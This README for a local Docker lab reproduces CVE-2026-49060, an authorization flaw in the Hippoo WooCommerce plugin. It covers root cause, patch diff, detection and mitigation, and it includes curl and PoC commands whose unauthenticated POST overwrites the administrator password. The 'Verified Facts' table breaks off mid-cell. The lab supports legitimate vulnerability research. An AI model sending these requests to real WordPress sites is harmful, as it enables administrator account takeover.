## https://sploitus.com/exploit?id=A2E60F1B-241D-5AF1-A5D1-F10E6E5B483C
# CVE-2026-49060 - Hippoo Mobile App for WooCommerce Incorrect Privilege Assignment / Privilege Escalation
## Executive Summary
This repository contains a local Docker lab for reproducing and validating CVE-2026-49060, an Incorrect Privilege Assignment vulnerability affecting the WordPress plugin **Hippoo Mobile App for WooCommerce**.
The vulnerable behavior is exposed through Hippoo's cloned REST API namespace:
```text
/wc-hippoo/v1/ext/
```
In the vulnerable target, an unauthenticated visitor can access a cloned WordPress REST users route and can update the administrator user's password through an unauthenticated HTTP request. In the patched target, the same request is blocked with `403 Forbidden`.
This lab compares two Hippoo versions:
| Service | Hippoo version | Purpose | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Vulnerable comparison target | `http://localhost:8081` |
| `patched` | 1.9.5 | Patched comparison target | `http://localhost:8082` |
The demonstrated vulnerability chain is:
```text
Unauthenticated visitor
โ Hippoo cloned REST namespace
โ /wc-hippoo/v1/ext/wp/v2/users/
โ vulnerable permission handling allows access
โ unauthenticated GET exposes user data
โ unauthenticated POST can update the selected user's password
โ patched version blocks the same request with 403 Forbidden
```
This lab validates the vulnerable-versus-patched authorization behavior using Hippoo `1.9.4` and Hippoo `1.9.5`.
The lab is intentionally scoped to local Docker services. It does not target external systems and does not include persistence, web shells, malware, or external callbacks.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| -------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| CVE-2026-49060 affects Hippoo Mobile App for WooCommerce through version `1.9.4`. | Public advisories identify Hippoo `
```
The lab does not demonstrate:
* persistence,
* web shell upload,
* arbitrary command execution,
* external callbacks,
* malware behavior,
* attacks against non-lab systems,
* or post-compromise activity beyond the local password update validation.
## Root Cause Summary
The root cause is a permission logic flaw in Hippoo's role and permission handling.
Hippoo exposes cloned WordPress and WooCommerce REST routes under its own namespace:
```text
/wc-hippoo/v1/ext/
```
The route-cloning behavior is security-sensitive because the cloned route must preserve or strengthen the original route's authorization requirements. If the cloned route receives a permissive permission callback, unauthenticated users may be able to reach REST endpoints that should require authentication and authorization.
The relevant route-cloning behavior follows this pattern:
```php
function re_register_external_routes() {
$server = rest_get_server();
$endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
```
The intended security model is:
```text
Original protected REST route
โ cloned into Hippoo namespace
โ permission callback still denies unauthenticated access
```
The vulnerable behavior occurs because Hippoo `1.9.4` uses the same return value for two different states:
```text
administrator / unrestricted access
unauthenticated visitor / no user
```
In Hippoo `1.9.4`, the permission helper returns `null` when there is no logged-in WordPress user:
```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
```
The vulnerable version also treats `null` as allowed:
```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
This creates the vulnerable data flow:
```text
Unauthenticated visitor
โ no WordPress user exists
โ get_user_permissions() returns null
โ has_role_access() treats null as allowed
โ cloned REST route permission can become permissive
โ unauthenticated request reaches sensitive REST endpoints
```
The issue is not simply that a REST route exists. The issue is that the permission decision can incorrectly treat an unauthenticated visitor as unrestricted.
The patched version separates those states.
In Hippoo `1.9.5`, unauthenticated visitors return `false` instead of `null`:
```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
```
The patched authorization check then explicitly denies `false`:
```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
The security-relevant change is:
```text
Before:
unauthenticated visitor โ null โ allowed
After:
unauthenticated visitor โ false โ denied
```
This is why the lab shows:
```text
Hippoo 1.9.4 โ GET /wc-hippoo/v1/ext/wp/v2/users/1 โ 200 OK
Hippoo 1.9.5 โ GET /wc-hippoo/v1/ext/wp/v2/users/1 โ 403 Forbidden
```
## Source Patch Summary
The patch changes the meaning of permission return values.
In the vulnerable version:
```text
null means administrator/full access
null also means unauthenticated/no user
```
In the patched version:
```text
null means administrator/full access
false means unauthenticated/no role/no access
```
The important source-level change in the permission helper is:
```diff
public static function get_user_permissions()
{
$user = wp_get_current_user();
- if (empty($user) || !$user->exists()) {
- return null;
+ if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+ return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
- if (!isset($settings[$role])) {
- continue;
+ if (isset($settings[$role])) {
+ return $settings[$role];
}
-
- return $settings[$role];
}
- return null; // Full access
+ return false; // No access
}
```
The authorization decision is also changed:
```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
This patch does not remove Hippoo's route-cloning feature. Instead, it fixes the trust boundary around permission evaluation.
The security lesson from the patch is:
```text
A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
```
Security-sensitive permission functions should use distinct values for distinct states:
```text
administrator / full access โ allowed
authenticated user with policy โ evaluate policy
unauthenticated user โ denied
unknown role / no configured ACL โ denied
```
## Lab Architecture
The lab runs two isolated WordPress installations through Docker Compose.
```text
.
โโโ docker-compose.yml
โโโ vuln/
โ โโโ Dockerfile
โโโ patched/
โ โโโ Dockerfile
โโโ poc/
โ โโโ poc.py
โโโ README.md
โโโ .gitignore
```
The two WordPress services use separate databases and separate plugin versions:
| Service | Component | Version / Role |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | vulnerable target application |
| `patched` | WordPress + WooCommerce + Hippoo | patched target application |
| `db-vuln` | MariaDB | database for vulnerable target |
| `db-patched` | MariaDB | database for patched target |
| `init-vuln` | WordPress initialization service | initializes vulnerable target |
| `init-patched` | WordPress initialization service | initializes patched target |
Default exposed services:
```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
The lab uses pinned Hippoo versions:
| Target | Hippoo version | Expected behavior |
| ----------------------- | -------------: | --------------------------------------------- |
| `http://localhost:8081` | 1.9.4 | unauthenticated cloned users route is allowed |
| `http://localhost:8082` | 1.9.5 | unauthenticated cloned users route is blocked |
The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.
## Requirements
* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Internet access during Docker image build to fetch WordPress plugin packages
No Python third-party package is required. The PoC uses Python standard library modules only.
## Quick Start
Start the lab from a clean state:
```bash
docker compose down -v --remove-orphans
docker image rm -f \
cve-2026-49060-vuln:1.9.4 \
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
```
Check service status:
```bash
docker compose ps
```
Expected healthy services:
```text
cve-2026-49060-vuln
cve-2026-49060-patched
cve-2026-49060-init-vuln
cve-2026-49060-init-patched
cve-2026-49060-db-vuln
cve-2026-49060-db-patched
```
Check the web applications:
```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
Run read-only validation against both targets:
```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
Run active local validation against both targets:
```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
Run active validation with an explicit password:
```bash
python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
```
## PoC Usage
Pass one or more local target URLs as positional arguments:
```bash
python3 poc/poc.py [target_url...]
```
Examples:
```bash
python3 poc/poc.py http://127.0.0.1:8081
python3 poc/poc.py http://127.0.0.1:8082
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
The default mode is read-only. It sends an unauthenticated `GET` request to the cloned users route and reports whether access is allowed or blocked.
Supported options:
```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
```
Active validation example:
```bash
python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
```
The PoC accepts only loopback/local targets:
```text
http://localhost:
http://127.0.0.1:
http://[::1]:
```
It refuses non-local targets by design.
## Expected Results
### Read-Only Validation
Command:
```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
Expected vulnerable target signal:
```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
```
Expected patched target signal:
```text
Target: target-2
Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED
Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
```
Expected summary:
```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
```
### Active Local Validation
Command:
```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
Expected vulnerable target signal:
```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
```
Expected patched target signal:
```text
Active local validation: target-2
Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED
Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
```
The active validation changes only the disposable WordPress administrator password inside the local vulnerable lab target.
Default local lab credentials before active validation:
```text
Username: admin
Password: AdminPass123!
```
Default password after successful active validation on the vulnerable target:
```text
Username: admin
Password: Cve49060LabPass123!
```
## How the Validation Works
The validator first discovers the WordPress REST API.
Some WordPress environments expose REST routes through pretty permalinks:
```text
/wp-json/
```
Others expose them more reliably through the query-string fallback:
```text
/?rest_route=/
```
The validator tries both forms and uses the one that returns a JSON REST index.
After REST discovery, it looks for the Hippoo cloned users route:
```text
/wc-hippoo/v1/ext/wp/v2/users
```
Then it performs a read-only unauthenticated GET request:
```text
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
Expected vulnerable behavior:
```text
HTTP 200 OK
JSON user object returned
```
Expected patched behavior:
```text
HTTP 403 Forbidden
JSON rest_forbidden error returned
```
When `--update-password` is enabled, the validator sends an unauthenticated POST request:
```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
```
Expected vulnerable behavior:
```text
HTTP 200 OK
The selected user's password is updated inside the local lab target.
```
Expected patched behavior:
```text
HTTP 403 Forbidden
The update is blocked.
```
The important difference is not whether the route exists. The route exists in both versions. The security difference is whether an unauthenticated request is allowed to invoke it.
## Manual HTTP Reproduction with curl
Read-only vulnerable probe:
```bash
curl -i \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
Expected result:
```text
HTTP/1.1 200 OK
Content-Type: application/json
```
Read-only patched probe:
```bash
curl -i \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
Expected result:
```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
```
Active vulnerable probe:
```bash
curl -i -X POST \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
```
Expected result:
```text
HTTP/1.1 200 OK
```
Active patched probe:
```bash
curl -i -X POST \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
```
Expected result:
```text
HTTP/1.1 403 Forbidden
```
## Impact
The vulnerable behavior allows unauthenticated access to cloned REST routes under Hippoo's namespace.
The most security-sensitive demonstrated route is the cloned WordPress users route:
```text
/wc-hippoo/v1/ext/wp/v2/users/
```
In the vulnerable local target, an unauthenticated request can update the administrator user's password. This demonstrates account takeover impact in the controlled lab.
Potential real-world impact, depending on site configuration and exposed routes, includes:
* unauthorized access to sensitive REST API data,
* administrator account takeover,
* privilege escalation,
* unauthorized modification of WordPress user records,
* and full site compromise after administrator access is obtained.
This lab demonstrates the authorization failure and local administrator password update only. It does not include post-authentication exploitation, plugin editing, code execution, persistence, or destructive actions.
## Detection and Monitoring
Potential indicators include unauthenticated requests to Hippoo's cloned REST namespace:
```text
/wc-hippoo/v1/ext/
```
High-risk route pattern:
```text
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
```
Suspicious indicators:
```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
```
Example access log patterns:
```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
Recommended monitoring actions:
* Review web server access logs for `/wc-hippoo/v1/ext/`.
* Review WordPress authentication logs for unexpected administrator logins.
* Review WordPress user records for recent password changes.
* Review administrator account email addresses, roles, and creation timestamps.
* Review plugin/theme file modification times if administrator takeover is suspected.
* Monitor for REST API requests that return `200 OK` to unauthenticated users where authorization should be required.
## Mitigation and Patch Notes
Upgrade Hippoo Mobile App for WooCommerce to a patched version.
For the specific lab comparison, Hippoo `1.9.5` blocks the demonstrated unauthenticated cloned users route behavior that is allowed in `1.9.4`.
For production environments, update to the latest available version rather than stopping at the lab comparison version.
Recommended mitigation steps:
* Update Hippoo Mobile App for WooCommerce to the latest available patched version.
* Confirm that the installed version is newer than the affected range.
* Review whether `/wc-hippoo/v1/ext/` is exposed publicly.
* Rotate administrator passwords if exploitation is suspected.
* Review WordPress administrator accounts for unauthorized changes.
* Review web access logs for unauthenticated requests to cloned REST routes.
* Disable the plugin temporarily if immediate patching is not possible.
* Use WAF or virtual patching as a temporary layer, not as a replacement for upgrading.
Security engineering lessons:
```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
```
## Useful Verification Commands
Check container status:
```bash
docker compose ps
```
Check initialization logs:
```bash
docker compose logs init-vuln init-patched
```
Check web services:
```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
Run read-only validation:
```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
Run active validation:
```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
Check active plugins:
```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
```
Check Hippoo versions:
```bash
docker compose exec -T vuln sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
```
Inspect permission logic in the vulnerable target:
```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
Inspect permission logic in the patched target:
```bash
docker compose exec -T patched sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
Save validation evidence:
```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
```
## Cleanup
Stop and remove containers and networks:
```bash
docker compose down --remove-orphans
```
Remove containers, networks, and volumes:
```bash
docker compose down -v --remove-orphans
```
Remove local evidence files if created:
```bash
rm -rf evidence/
```
## Safety Boundaries
This lab is for local security research and controlled demonstration only.
Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.
Do not use real production credentials, real customer data, or production secrets in this lab.
The intended scope is limited to local Docker services such as:
```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
The PoC is intentionally HTTP-only and local-scope. It does not call Docker, Docker Compose, WP-CLI, or container APIs.
The active validation mode changes the password only for the selected WordPress user inside the disposable local lab target.
The lab does not include payloads for:
* web shell upload,
* arbitrary command execution,
* persistence,
* lateral movement,
* credential theft,
* database dumping,
* or external callbacks.
The goal is to demonstrate one specific technical condition in a controlled environment:
```text
unauthenticated request
+ Hippoo cloned REST route
+ vulnerable permission sentinel logic
+ unauthenticated access allowed in 1.9.4
+ unauthenticated access blocked in 1.9.5
```
## References
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce Plugin <= 1.9.4 Privilege Escalation
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org Plugin: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API Handbook: Routes and Endpoints
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP Web Security Testing Guide: Testing for Authorization Bypass
https://owasp.org/www-project-web-security-testing-guide/